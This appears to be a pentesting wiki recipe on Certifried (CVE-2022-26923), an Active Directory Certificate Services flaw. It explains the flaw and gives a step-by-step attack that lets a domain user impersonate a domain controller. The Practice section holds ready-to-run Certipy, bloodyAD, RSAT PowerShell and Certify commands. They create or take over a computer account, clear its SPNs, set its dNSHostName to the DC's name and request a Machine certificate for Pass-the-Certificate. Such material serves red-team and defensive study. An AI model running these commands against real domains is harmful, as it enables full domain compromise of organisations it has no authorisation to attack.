Links

Certifried

CVE-2022–26923

Theory

Certifried (CVE-2022-26923) is a vulnerability discovered by Oliver Lyak on AD CS that lets a domain-joined user escalate its privileges in the domain.
A domain user creating a computer account obtains the Validated write to DNS host name and Validated write to service principal name permissions (among other rights). Therefore, the user is allowed to change the DNS host name (dNSHostName) and SPN (servicePrincipalName) attributes of the computer account.
Computer accounts (using the Machine template) use the value of the dNSHostName property for authentication. Attempting to change the dNSHostName to match another computer account raises a constraint error.
In fact, the moment the dNSHostName property is edited, the domain controller makes sure to update the existing SPNs of the account so that the "hostname" part of it is updated to the new DNS hostname. If the SPNs already exist for another account in Active Directory, the domain controllers raises the constraint violation.
The trick found by Oliver goes as follows:
  1. 1.
    clear the SPNs (or at least those that reflect the dNSHostName value, i.e. the ones with fully-qualified hostnames, e.g. HOST/SRV01.DOMAIN.LOCAL)
  2. 2.
    change to dNSHostName to a target's DNS hostname (e.g. DC.DOMAIN.LOCAL). The constraint violation won't be raised since there won't be any SPN to update
  3. 3.
    request a certificate for the computer account using the Machine template. The Certificate Authority will use the dNSHostName value for identification and issue a certificate for the Domain Controller.
  4. 4.
    Authenticate as the DC.
A patch was released in may 2022 to address this vulnerability: more information here and on Certificate mapping.

Practice

Detecting unpatched targets

Requesting a certificate based on the Machine (or User) template can indicate whether the patch has been applied or not. If the certificate object contains an SID (objectSid), then the patch has been applied.
UNIX-like
Machine
This check can be conducted using Certipy (Python).
certipy req -u '[email protected]' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'User'
If Certipy doesn't print Certificate object SID is [...] after obtaining the certificate, then the attack can be conducted.
Oliver underlined the fact that to fully mitigate the vulnerability, both the KDC and the CA server must be patched.
At the time of writing this recipe, June 2022, no Windows alternative has been found.

Conducting the attack

Creating a computer account

The first step of the attack consists in creating a computer account (MachineAccountQuota, Create a computer account), or have the write permission to the dNSHostName and servicePrincipalName attributes of another.

dNSHostName and servicePrincipalName modification

The second step is conducted by removing the SPNs that reflect the dNSHostName value, and then modifying the dNSHostName to the name of the computer account to impersonate.
UNIX-like
Windows
The bloodyAD (Python) tool can be used on UNIX-like systems to operated these changes.
# Clearing the SPNs
bloodyAD.py -d $DOMAIN_FQDN -u $USER_NAME -p $USER_PASSWORD --host $DC_IP setAttribute 'CN=$COMPUTER_NAME,CN=Computers,DC=$DC,DC=$DC' serviceprincipalname '[]'
# Setting the dNSHostName value to the name of a computer account to impersonate
bloodyAD.py -d $DOMAIN_FQDN -u $USER_NAME -p $USER_PASSWORD --host $DC_IP setAttribute 'CN=$COMPUTER_NAME,CN=Computers,DC=$DC,DC=$DC' dnsHostName '["$DC_NAME.$DOMAIN_FQDN"]'
# Verifying the dNSHostName value and SPN entries
bloodyAD.py -d $DOMAIN_FQDN -u $USER_NAME -p $USER_PASSWORD --host $DC_IP getObjectAttributes 'CN=$COMPUTER_NAME,CN=Computers,DC=$DC,DC=$DC' dnsHostName,serviceprincipalname
The Domain Components (DC) are the different parts of the domain name (DC=domain,DC=local for domain.local, or DC=sub,DC=domain,DC=local for sub.domain.local).
The Active Directory RSAT tools can be used on Windows systems to operate these changes.
# Clearing the SPNs
Set-ADComputer $COMPUTER_NAME -ServicePrincipalName @{}
# Setting the dNSHostName value to the name of a computer account to impersonate
Set-ADComputer $COMPUTER_NAME -DnsHostName $DC_NAME.$DOMAIN_FQDN
# Verifying the dNSHostName value and SPN entries
Get-ADComputer $COMPUTER_NAME -properties dnshostname,serviceprincipalname

Obtaining a certificate

The third and last step consists in getting the certificate of the targeted machine account ($DC_NAME in the previous command examples).
UNIX-like
Windows
Certipy (Python) can be used to request the certificate from UNIX-like systems.
certipy req -u 'compter$'@'domain.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Machine'
The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.
By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.
Certify (C#) can be used to request the certificate from Windows systems.
Certify.exe request /ca:"domain\ca" /template:"Machine"
The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

Resources